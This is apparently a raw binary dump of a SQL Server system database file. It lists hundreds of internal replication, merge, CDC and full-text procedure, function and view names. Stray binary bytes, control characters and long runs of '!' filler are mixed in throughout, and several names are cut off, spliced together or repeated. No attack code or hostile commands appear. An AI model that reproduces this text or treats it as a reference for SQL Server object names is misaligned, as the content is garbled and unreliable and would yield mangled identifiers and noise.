z|2sp_MSgetlastrecgen&m4sp_MSgetlastsentgen&7c<sp_MSgetlastsentrecgens&z:sp_MSgetgenstatus4rows&>sp_MSgetalternaterecgens&M8sp_MSgetmetadatabatch&܈<sp_MSgetmetadatabatch90&4Bsp_MSgetmetadatabatch90new&Bsp_MSgetconflictinsertproc&%4sp_MSgetchangecount&AoHsp_MSgetcolordinalfromcolname&?@sp_MSgetbeforetableinsert&L5(0sp_MSgetmaxbcpgen&GuJsp_MSgetdynsnapvalidationtoken&[Dsp_MSfixupbeforeimagetables&yJsp_MSget_logicalrecord_lineage&fsp_MSgetmetadata_changedlogicalrecordmembers&@sp_MSgetdatametadatabatch&><Lsp_MSget_gen_approx_changecount&Psp_MSget_MSmerge_rowtrack_colinfo&:sp_MSget_shifted_colv1&6֜Fsp_MSget_identity_range_info&QNsp_MSgetlightweightmetadatabatch&!dsp_MSgenerate_enumchangedcolumnvalues_query&>'`@sp_MSgetonerowlightweight&0sp_MSgetmissingbm&qfsp_MSget_lightweightarticle_processing_order&#/<sp_MSforcereenumeration
d,"
"	bV0j	
fP"Z
^

(
.2J.	B
P&d`|
`	
E"*L944W&lOPsp_MSremovedbreplication_internal&e@sp_MSremoveidrangesupport&Dsp_MSremoveoffloadparameter&VXsp_MSrepl_add_expired_sub_cleanup_job&M>6sp_MSrepl_addarticle&Fsp_MSrepl_adddatatypemapping&Ws%Bsp_MSrepl_adddistpublisher&N^>sp_MSrepl_addpublication&vPsp_MSrepl_addpublication_snapshot&mg<sp_MSrepl_addrolemember&,q@<sp_MSrepl_addscriptexec&<<sp_MSrepl_addsubscriber&3Fsp_MSrepl_agentstatussummary&@<sp_MSrepl_articlecolumn&L|<sp_MSrepl_articlefilter&88sp_MSrepl_articleview&ڱ@sp_MSrepl_backup_complete&p:sp_MSrepl_backup_start&1WJsp_MSrepl_browsesnapshotfolder&AXsp_MSrepl_changearticlecolumndatatype&stDsp_MSrepl_changepublication&Vsp_MSrepl_changepublication_snapshot&́Bsp_MSrepl_changesubscriber&܉	Tsp_MSrepl_changesubscriber_schedule&%0Fsp_MSrepl_changesubscription&S{Bsp_MSrepl_check_job_access&aK@sp_MSrepl_check_publisher&n:sp_MSrepl_check_server&Jsp_MSrepl_checkdatatypemapping&8Tsp_MSrepl_checkOraclepackageversion&9Lsp_MSrepl_clean_replication_bit&ie:sp_MSrepl_copysnapshot&ǕNsp_MSrepl_createdatatypemappings&ӈ:sp_MSrepl_DB2datatypes&m.sp_MSrepl_dbrole&/:sp_MSrepl_ddl_triggers&p7@sp_MSrepl_DistDBPALAccess&q^sp_MSrepl_distributionagentstatussummary&jJsp_MSrepl_DistributorPALAccess&AZsp_MSrepl_DistributorReplMonitorAccess&wLsp_MSrepl_drop_all_role_members&vZsp_MSrepl_drop_expired_sub_cleanup_job&;Jsp_MSrepl_dropdatatypemappings&7&>sp_MSrepl_droprolemember&>sp_MSrepl_dropsubscriber&
Xsp_MSrepl_enable_articles_for_het_sub&_dsp_MSrepl_enable_heterogeneous_subscription&1Lsp_MSrepl_enumarticlecolumninfo&dz_Hsp_MSrepl_enumfullsubscribers&ܞBsp_MSrepl_enumpublications&vHsp_MSrepl_enumpublishertables&Dsp_MSrepl_enumsubscriptions&puHsp_MSrepl_enumtablecolumninfo&b6sp_MSrepl_FixPALRole&节>sp_MSrepl_FixTranPALRole&[Jsp_MSrepl_fixupdefaultmappings&'8sp_MSrepl_getdbmsinfo&H@sp_MSrepl_changesubstatus&k@sp_MSrepl_addsubscription&ʎPsp_MSrepl_addsubscription_article&<sp_MSrepl_changearticle&:8sp_MSrepl_droparticle&-@sp_MSrepl_droppublication&+$Bsp_MSrepl_dropsubscription&$Fsp_MSrepl_addlogreader_agent&eLsp_MSrepl_changelogreader_agent&R	Tsp_MSrepl_addpushsubscription_agent&[,\sp_MSrepl_get_Oracle_publisher_metadata&Vsp_MSrepl_get_Oracle_publisher_table!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!l.l$

N
rT2r&

$
		|	B	nVz8FJn.PFJ4`
P"H:~:ŵhQ&`sp_scriptdropinsreconciliationproc_sqlclr&E.sp_scriptinsproc&	6sp_scriptinsproccore&NH
:sp_scriptpkwhereclause&*Lsp_scriptpublicationcustomprocs&JPsp_scriptpubwinsrefreshcursorvars&Z@sp_scriptreconwhereclause&,m0sp_scriptsinsproc&aL@sp_scriptsubconflicttable&8sp_scriptupdateparams&tK8sp_sequence_get_range&|Jsp_sequence_get_range_internal&9U8sp_server_diagnostics&Q)*sp_server_info&t#c,sp_serveroption&-(sp_setapprole&Jsp_SetAutoSAPasswordAndDisable&;4sp_setbuildresource&NFsp_setdefaultdatatypemapping&J@sp_SetInternalTableAccess&O(sp_setnetname&VeD6sp_SetOBDCertificate&ҩBsp_setOraclepackageversion&Fsp_SetPDWOnlyInterfaceObject&Dsp_SetPublicInterfaceObject&4:sp_setreplfailovermode&kXJsp_SetSDSPublicInterfaceObject&/8sp_SetServerCollation&=yx2sp_settriggerorder&1T0sp_setuserbylogin&>,sp_showmemo_xml&s&sp_spaceused&Fsp_sparse_columns_100_rowset&2sp_special_columns&GJ:sp_special_columns_100&P;8sp_special_columns_90&.sp_sproc_columns&*06sp_sproc_columns_100&/)O4sp_sproc_columns_90&Bg"sp_sqlexec&+6sp_srvrolepermission&:sp_start_user_instance&Tsp_startmergepullsubscription_agent&Tsp_startmergepushsubscription_agent&Fsp_startpublication_snapshot&^Jsp_startpullsubscription_agent&mZUJsp_startpushsubscription_agent&_(sp_statistics&Fh0sp_statistics_100&="6sp_statistics_rowset&B)8sp_statistics_rowset2&,WRsp_stopmergepullsubscription_agent&.Rsp_stopmergepushsubscription_agent&?uDsp_stoppublication_snapshot&DzHsp_stoppullsubscription_agent&Hsp_stoppushsubscription_agent&:6sp_stored_procedures&_/&sp_subscribe&}Q<sp_subscription_cleanup&n:sp_subscriptionsummary&cDsp_syspolicy_execute_policy&R`sp_syspolicy_subscribe_to_policy_category&|hsp_syspolicy_unsubscribe_from_policy_category&v+Lsp_syspolicy_update_ddl_trigger&	s`Zsp_syspolicy_update_event_notification&W80sp_scriptvdelproc&{0sp_scriptxdelproc&@޲6sp_scriptupdproccore&/.sp_scriptupdproc&뇝:sp_scriptmappedupdproc&t<sp_scriptdynamicupdproc&U{g0sp_scriptvupdproc&0sp_scriptsupdproc&0sp_scriptxupdproc&Xy<sp_scriptupdmoderefresh&yDsp_setsubscriptionxactseqno&"*sp_showlineage&
$sp_showcolv&I=8sp_showrowreplicainfo&?`8sp_showpendingchanges!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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onymousreplica&+Jsp_MSaddautonosyncsubscription&4sp_MSaddexecarticle&KJsp_MSaddlogin_implicit_ntlogin&S>sp_MSaddoffloadparameter&6sp_MSaddpub_snapshot&+W>sp_MSaddreplsymmetrickey&`5;8sp_MSaddschemaarticle&F8X<sp_MSaddserver_internal&|Hsp_MSadduser_implicit_ntlogin&`v>sp_MSAdjustConflictTable&
-<sp_MSagent_access_check&>sp_MSareallcolpkcomputed& gJsp_MSarticle_synctran_commands&M<sp_MSarticle_validation&$4sp_MSarticlecleanup&~	K,sp_MSarticlecol&]8sp_MSarticlecolstatus&a:sp_MSbuild_single_post&6sp_MSBumpupCompLevel&[@sp_MSaddmqforsubscription&,sp_MSaddpeerlsn&aFsp_MSaddsubscriptionarticles&$8sp_MSadd_repl_command&,Bsp_MSadd_repl_commands27hp&:sp_MSadd_replcmds_mcit&_:sp_MSadd_qreader_agent&Dsp_MSadd_distribution_agent&n6sp_MSadd_merge_agent&w8sp_MSadd_subscription&kU8sp_MSanonymous_status&O>sp_MSadd_anonymous_agent&L?>sp_MSadd_subscriber_info&Fsp_MSadd_subscriber_schedule&
<sp_MSadd_snapshot_agent&U>sp_MSadd_logreader_agent&6sp_MSadd_publication&>sp_MSadd_qreader_history&&@sp_MSadd_snapshot_history&8lBsp_MSadd_logreader_history&FHsp_MSadd_distribution_history&F%0:sp_MSadd_merge_history&
>sp_MSadd_merge_history90&ޛ4sp_MSadd_repl_error&4sp_MSadd_repl_alert&J,<sp_MSadd_replmergealert&X.sp_MSadd_article&W@sp_MSadd_subscription_3rd&=iDsp_MSadd_merge_subscription&Jsp_MSadd_merge_anonymous_agent&3f:sp_MSagent_stethoscope&CFsp_MSagent_retry_stethoscope&6@sp_MSbrowsesnapshotfolder&>sp_MSadjust_pub_identity&Z\sp_MSadddynamicsnapshotjobatdistributor&8sp_MSadd_tracer_token&}<sp_MSadd_tracer_history&fvLsp_MSadd_mergesubentry_indistdb&zVsp_MSadd_log_shipping_history_detail&"Rsp_MSadd_log_shipping_error_detail&_2sp_MSaddguidcolumn&x"0sp_MSaddguidindex&kL8sp_MSaddupdatetrigger&E8sp_MSaddmergetriggers&Tsp_MSaddmergetriggers_from_template&%UJsp_MSaddmergetriggers_internal&J*sp_MSBitmapXOr&9.sp_MSBitmapCount&:sp_MSadjustgenerations&gHB@sp_MSaddmergepub_snapshot&IsBsp_MSaddmergeschemaarticle&c>sp_MSadjustmergeidentity&a@sp_MSallocate_one_idrange&lLsp_MSaddmergedynamicsnapshotjob&mLsp_MSadd_merge_partition_column&ARsp_MSadd_dynamic_snapshot_location&\@sp_MSadd_mergereplcommand&q&sp_MSbelongs&[:sp_MSaddinitialarticle&LIFsp_MSaddinitialschemaarticle&Bsp_MSaddinitialpublication&U)Dsp_MSaddinitialsubscription&Bsp_MSalreadyhavegeneration&ҲNsp_MSallocate_new_identity_range&_Lsp_MSaddlightweightmergearticle&Al>sp_MSadd_filteringcolumnon_history&F%0:sp_MSadd_merge_history&
>sp_MSadd_merge_history90&Lsp_MScleanup_subscriber_history&ޛ4sp_MSadd_repl_error&4sp_MSadd_repl_alert&J,<sp_MSadd_replmergealert&m<sp_MSchange_publication&X.sp_MSadd_article&!4sp_MSchange_article&W@sp_MSadd_subscription_3rd&=iDsp_MSadd_merge_subscription&Jsp_MSadd_merge_anonymous_agent&3f:sp_MSagent_stethoscope&CFsp_MSagent_retry_stethoscope&Kp`sp_MSclearresetpartialsnapshotprogressbit&@sp_MScheck_tran_retention&6@sp_MSbrowsesnapshotfolder&?Psp_MSchange_subscription_dts_info&u<sp_MScheck_pub_identity&>sp_MSadjust_pub_identity&Z\sp_MSadddynamicsnapshotjobatdistributor&bsp_MSchangedynamicsnapshotjobatdistributor&ep\sp_MSchangedynsnaplocationatdistributor&8sp_MSadd_tracer_token&}<sp_MSadd_tracer_history&`sp_MSchange_distribution_agent_properties&Rsp_MSchange_merge_agent_properties&Zsp_MSchange_logreader_agent_properties&fvLsp_MSadd_mergesubentry_indistdb&zVsp_MSadd_log_shipping_hiP\8|2	`8
"fz2,Jp8*pD6n
		

f<rp
&
N

:H
L8|`J	`
MX"&*<A l<&8fn_replinttobitstring&Nfn_replisvalidwindowsloginformat&u>fn_replmakestringliteral& >fn_replparsewindowslogin&s+6fn_replprepadbinary8&.fn_replquotename&6fn_replremovefullobj&XVFfn_replremoveleadingcomments&*@fn_replreplacesinglequote&cbfn_replreplacesinglequoteplusprotectstring&b$fn_replrotr&1
6fn_repltagcustomproc&Bfn_repltranquotecustomproc&VLfn_repltrimleadingzerosinhexstr&Qݣ0fn_repluniquename&/n0fn_RowDumpCracker&T,fn_secondstohms&$fn_serverid&B8fn_servershareddrives&UA
>fn_skipparameterargument&R2fn_sqlvarbasetostr&&VDfn_subtract_units_from_date&m2{*fn_synctrigger&=+"8fn_trace_geteventinfo&5:fn_trace_getfilterinfo&uv.fn_trace_getinfo&o/0fn_trace_gettable&s>fn_translate_permissions&ی:fn_units_until_maxdate&NJfn_updateparameterwithargument&b\fn_updateparameterwithqualifiedargument&܂:fn_validate_plan_guide&/<R0fn_varbintohexstr&@m<fn_varbintohexsubstring&_4fn_virtualfilestats&FE8fn_virtualservernodes&uDfn_xe_file_target_read_file&:Hfn_yukonsecuritymodelrequired&f4foreign_key_columns&g&foreign_keys&H0fulltext_catalogs&<fulltext_document_types&Hfulltext_index_catalog_usages&k:fulltext_index_columns&	>fulltext_index_fragments&l.fulltext_indexes&1y2fulltext_languages&jfulltext_semantic_language_statistics_database&cFDfulltext_semantic_languages&2fulltext_stoplists&2fulltext_stopwords&@fulltext_system_stopwords&>fulltext_thesaurus_files&:function_order_columns&e2generate_index_ddl&e@generate_table_sample_ddl&(generate_type&D|6GeodeticGridCoverage&o6GeodeticTessellation&FGeographyCollectionAggregate&oSFGeographyConvexHullAggregate&.BGeographyEnvelopeAggregate&=r<GeographyUnionAggregate&&WDGeometryCollectionAggregate&\DGeometryConvexHullAggregate&@GeometryEnvelopeAggregate&!:GeometryUnionAggregate&RGetGeographyTessellation_VarBinary&R\GetPlanarGeometryTessellation_VarBinary&*http_endpoints&t.identity_columns&o(index_columns&
&index_counts&sindexes&indexes$&,,internal_tables&7.KEY_COLUMN_USAGE&j,key_constraints&/,key_encryptions&"(linked_logins&bb$login_token&(&master_files&@fn_replp2pversiontotranid&N2fn_replvarbintoint&:Bfn_replmerge_get_cmdcounts&Lfn_replmerge_get_errormsgcounts&<oHfn_replsubtractkomododuration&ğPfn_replmonitorsubscriptionranking!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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lH nP42f"`

h
@

Vn

f
,
		x	R		Z&$b2h$|X,>Bb$F`A
l""=0N&Vfn_escapecmdshellsymbolsremovequotes&2<fn_fcomputedpkimprecise&ZV.fn_fIsColTracked&78fn_ft_thesaurus_files&0fn_ft_wordbreaker&o4fn_ftableivprocexec&{R2fn_ftcatcomponents&X8fn_fulltext_compindex&*fn_fulltext_i2&cG*fn_fulltext_i4&=x*fn_fulltext_i8&tDfn_generateparameterpattern&`0fn_get_audit_file&q9"fn_get_sql&195:fn_GetCurrentPrincipal&Wi8fn_getparametervalues&	Zfn_getpersistedservernamecasevariation&XHfn_getProcessorUsage_internal& @@fn_GetRowsetIdFromRowDump&~K.fn_gettypestring&]S,fn_getvalidname&3Jfn_getVolumeFreeSpace_internal&Tfn_hadr_backup_is_preferred_replica&c+0fn_helpcollations& P2fn_helpdatatypemap&826fn_IHarticle_columns&s<H4fn_IHcompareversion&!<fn_IHGenerateUniqueName&!E(fn_IHgetpubid&42fn_IHgettypestring&6&fn_IHiscolpk&bLfn_IHPublicationIsTransactional&;:fn_IHpublished_columns&VG*fn_IHview_name&8fn_is_signable_object&Fu6fn_IsBitSetInBitmask&,fn_ispkcomputed&],fn_isrolemember&E.fn_isvalidhexstr&*M?*fn_isxmlcolumn&F<fn_listextendedproperty&
><fn_MSconstraint_columns&ҢBfn_MSgetmaxbackcompatlevel&*fn_MSguidtostr&:fn_MSis_col_replicated&6fn_MSmerge_Fix80Colv&]Dfn_MSmerge_getartprocsuffix&08fn_MSmerge_GetPALRole&lJfn_MSmerge_getqualifiedobjname&z4fn_MSrepl_checktype&9>4fn_MSrepl_dependUDT&4fn_MSrepl_editionid&:Hfn_MSrepl_getdatatypemappings&2fn_MSrepl_getpubid&
Jfn_MSrepl_is_workgroup_edition&3`2fn_MSrepl_isdistdb&=l{Bfn_MSrepl_ismergepublished&L=8fn_MSrepl_ispublished&9BN@fn_MSrepl_istranpublished&>6fn_MSrepl_sourcetype&D5!0fn_MSrepllinkname&F @fn_MSrepltranparsecmdtype&
2fn_MSsharedversion&6fn_MStran_foreignkey&8.fn_MStran_unique&h@fn_MSxe_read_event_stream&p0fn_my_permissions&'Dfn_ORAenumarticlecolumninfo&tji0fn_ORAgetbasetype&.fn_ORAsourceinfo&0fn_PhysLocCracker&>fn_peerconflicttablename&Rfn_MSgetlogshippingmoniterlinkname&1ZBfn_MSgetlogshippingjobname&ZDfn_MSvalidatelogshipagentid&*\fn_MSarticle_allows_DML_at_this_replica&͝>fn_MSmerge_nicknamefound&6j<fn_MSmerge_islocalpubid&wzr<fn_MSmerge_islocalsubid&"Lfn_MSmerge_mightneedrowtrackbcp&0Rfn_MSmerge_hasdownloadonlyarticles&Z_m>fn_MSmerge_isrepublisher&Ffn_MSmerge_get_syncview_name&gFfn_MSrepl_map_resolver_clsid&㸀Lfn_MSdetermine_related_articles&աLfn_MSpublication_uses_host_name&08fn_MSisfilteredcolumn&%eJfn_GetArticleSchemaVersionGuid&F.fn_MapSchemaType&ƈ.fn_MSgetrowguids&0Dfn_MSgetrowguidvirtualtable&nVWdfn_MSget_dynamic_filter_login_with_hostname&;Hfn_MSget_dynamic_filter_login&PFfn_MSgeneration_downloadonly&>fn_MSvector_downloadonly&5Zfn_MSarticle_has_downloadonly_property&'$fn_MapColid&WFfn_numberOf1InBinaryAfterLoc&V5<fn_numberOf1InVarBinary&n(fn_IsTypeBlob&Ffn_MSMerge_get_ranges_needed&፯*fn_MSmapdownbm&D2*fn_MSorbitmaps&o&fn_MStestbit&KLfn_MSgetmaxlightweightretention&
.fn_MSdayasnumber&O)<fn_MSrowispastretention&vJfn_MSuselightweightreplication!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b2~P

x
B

V^*
2p4
t
0
b			"T	P
nPn	:j:X,ZR2Nt: zP&X `
	B">W)V&q<sp_MSdrop_snapshot_dirs&L6@sp_MSdrop_subscriber_info&`h:sp_MSdrop_subscription&;sBsp_MSdrop_subscription_3rd&H=/4sp_MSdrop_subserver&вBsp_MSdrop_synctran_objects&Dsp_MSdroparticleconstraints&8sp_MSdroparticleprocs&ڤw>sp_MSdroparticletriggers&Psp_MSDropCanClearSubscriberStatus&U0Bsp_MSdropdisabledmltrigger&tqcHsp_MSdropfkreferencingarticle&8GBsp_MSdropmqforsubscription&6sp_MSdroptranpalrole&0.8sp_MSDropTriggerProcs&1f/Psp_MSdumpscripttabletonvarcharmax&3Tsp_MSenable_publication_for_het_sub&"8sp_MSenableautonosync&pJDsp_MSensure_single_instance&:sp_MSenum_distribution&$>sp_MSenum_distribution_s&͈@sp_MSenum_distribution_sd&34sp_MSenum_logreader&:8sp_MSenum_logreader_s&Fm8:sp_MSenum_logreader_sd&:u,sp_MSenum_merge&D-0sp_MSenum_merge_s&
Gh2sp_MSenum_merge_sd&OHsp_MSenum_merge_subscriptions&fsp_MSenum_merge_subscriptions_90_publication&~bsp_MSenum_merge_subscriptions_90_publisher&i8sp_MSenum_misc_agents&MT0sp_MSenum_qreader&G4sp_MSenum_qreader_s&6sp_MSenum_qreader_sd&FwFsp_MSenum_replication_agents&+@sp_MSenum_replication_job&}4Fsp_MSenum_replication_status&6sp_MSenum_replqueues&9n<sp_MSenum_replsqlqueues&ƒ2sp_MSenum_snapshot&h6sp_MSenum_snapshot_s&:VNsp_MSenum_merge_agent_properties&fbsp_MSdynamicsnapshotjobexistsatdistributor&B4sp_MSdropguidcolumn&ؽBsp_MSdropmergepub_snapshot&F@8sp_MSdropmergearticle&-+B8sp_MSdropmergepalrole&XgNsp_MSdropmergedynamicsnapshotjob&sd*sp_MSdropretry&$2sp_MSdroptemptable&Psp_MSenum_metadataaction_requests&]2sp_MSdummyupdate90&ٶ.sp_MSdummyupdate&S~Lsp_MSenum_logicalrecord_changes&W+:sp_MSdropview_internal&!:sp_MSdropsystableviews&N6sp_MSdropconstraints&L"Bsp_MSdroparticletombstones&<70sp_MSdropctsviews&2-<sp_MSdropdynsnapshotvws&Jsp_MSdummyupdate_logicalrecord&Hsp_MSdrop_tempgenhistorytable&ytNsp_MSdroplightweightarticleprocs&)|!Fsp_MSdroplightweighttriggers&gDsp_MSdummyupdatelightweightynamicsnapshotjobexistsatdistributor&B4sp_MSdropguidcolumn&p<sp_MSfixlineageversions&<:sp_MSfillupmissingcols&hpsp_MSexpire_dynamic_snapshots_affected_by_cleanup&H>sp_MSFixPubColumnBitmaps&>sp_MSFixSubColumnBitmaps&ؽBsp_MSdropmergepub_snapshot&F@8sp_MSdropmergearticle&-+B8sp_MSdropmergepalrole&@:sp_MSenumpubreferences&XgNsp_MSdropmergedynamicsnapshotjob&=bsp_MSevaluate_change_membership_for_all_articles_in_pubid&
X`sp_MSevaluate_change_membership_for_pubid&M?\sp_MSevaluate_change_membership_for_row&tpsp_MSevaluate_logicalrecordparent_allcontentsrows&/'Psp_MSevaluate_logicalrecordparent&<sp_MSfetchidentityrange&sd*sp_MSdropretry&$2sp_MSdroptemptable&MOI.sp_MSenumretries&Psp_MSenum_metadataaction_requests&]2sp_MSdummyupdate90&ٶ.sp_MSdummyupdate&K6sp_MSenumgenerations&:sp_MSenumgenerations90&@b4sp_MSenumreplicas90&/0sp_MSenumreplicas&-!>sp_MSenumdeletesmetadata&_X<sp_MSenumpartialdeletes&jXsp_MSenumchanges_notbelongtopartition&Hsp_MSenumdeletes_forpartition&1Rsp_MSenumchanges_belongtopartition&36.sp_MSenumchanges&g:sp_MSenumchangesdirect&S~Lsp_MSenum_logicalrecord_changes&^<sp_MSenumpartialchanges&BHsp_MSenumpartialchangesdirect&~Q>sp_MSenumschemachange_70&J>sp_MSenumschemachange_80&m|Dsp_MSenumschemachange_80sp3&N>sp_MSenumschemachange_90&uS@sp_MSenumschemachange_100&8sp_MSenumschemachange&W+:sp_MSdropview_internal&!:sp_MSdropsystableviews&
2sp_MSexpandbelongs&8sp_MSexpandnotbelongs&O4(sp_MSexclause&N6sp_MSdropconstraints&L"Bsp_MSdroparticletombstones&|Lu0sp_MSexpandsubsnb&e<sp_MSevalsubscriberinfo&<70sp_MSdropctsviews&2-<sp_MSdropdynsnapshotvws&Jsp_MSdummyupdate_logicalrecord&P>sp_MSfillup_deleted_cols&Hsp_MSdrop_tempgenhistorytableh$R6B`$@f0~pp
>

		F		f.f
V
l2b
`6
:h

b<VVJX`;
	:"|?gįK&0Bsp_MScache_agent_parameter&!4sp_MSchange_article&`sp_MSchange_distribution_agent_properties&Zsp_MSchange_logreader_agent_properties&Rsp_MSchange_merge_agent_properties&>sp_MSchange_originatorid&&6sp_MSchange_priority&m<sp_MSchange_publication&6sp_MSchange_repl_job&BRDsp_MSchange_repl_job_unsafe&768sp_MSchange_retention&Psp_MSchange_retention_period_unit&?Psp_MSchange_subscription_dts_info&bsp_MSchangedynamicsnapshotjobatdistributor&ep\sp_MSchangedynsnaplocationatdistributor&@Tsp_MSchangepublicationlinkpasswords&t6	Psp_MSchangerepllinkedsrvrpassword&#ZjHsp_MSchangerepltablepasswords&6b>sp_MSchangeschemaarticle&,@sp_MScheck_agent_instance&le@sp_MScheck_Jet_Subscriber&?M@sp_MScheck_palroleinpubdb&u<sp_MScheck_pub_identity&T.:sp_MScheck_pull_access&@sp_MScheck_snapshot_agent&Xsp_MSchange_snapshot_agent_properties&hTsp_MScheck_merge_subscription_count&6sp_MScdc_capture_job&WADsp_MScdc_ddl_server_trigger&mJsp_MScdc_ddl_database_triggers&8sp_MScdc_db_ddl_event&P[2sp_MScdc_ddl_event&,sp_MScdc_logddl&d6sp_MScdc_cleanup_job&-Dsp_MScdc_job_security_check&A<sp_MScdc_tranrepl_check&:sp_MScdccheck_ddladmin&:sp_MSchangeobjectowner&_Rsp_MScheck_publisher_range_refresh&]Lsp_MScheck_autoident_parameters&QHsp_MScheck_republisher_ranges&-tHsp_MSchangemergeschemaarticle&RLsp_MScheck_joinfilter_using_dri&)Rsp_MSchangemergedynamicsnapshotjob&%/^sp_MScheck_dynamic_filtering_information&qBsp_MScheck_dynamic_filters&"<sp_MScheck_join_filters&p)y`sp_MScheck_join_filter_circular_relations&}Jsp_MScheck_blob_filter_columns&C\sp_MScheck_functions_indirectly_in_view&nDXsp_MScheck_functions_directly_in_view&Xsp_MScheck_allparents_wellpartitioned&.K>sp_MSchange_mergearticle&Fsp_MSchange_mergepublication&7>sp_MScheck_article_order&1{Bsp_MSchangearticleresolver&[{Zsp_MScheck_logicalrecord_metadatamatch&eNsp_MScheck_article_auto_identity&hTsp_MScheck_merge_subscription_count&8Zsp_MScheck_subscription_count_internal&6sp_MScdc_capture_job&WADsp_MScdc_ddl_server_trigger&mJsp_MScdc_ddl_database_triggers&8sp_MScdc_db_ddl_event&P[2sp_MScdc_ddl_event&,sp_MScdc_logddl&d6sp_MScdc_cleanup_job&-Dsp_MScdc_job_security_check&A<sp_MScdc_tranrepl_check&:sp_MScdccheck_ddladmin&9W>sp_MSconflicttableexists&:sp_MSchangeobjectowner&Tsp_MScleanup_zeroartnick_genhistory&o6sp_MSclosegeneration&M/8sp_MScheckatpublisher&_Rsp_MScheck_publisher_range_refresh&
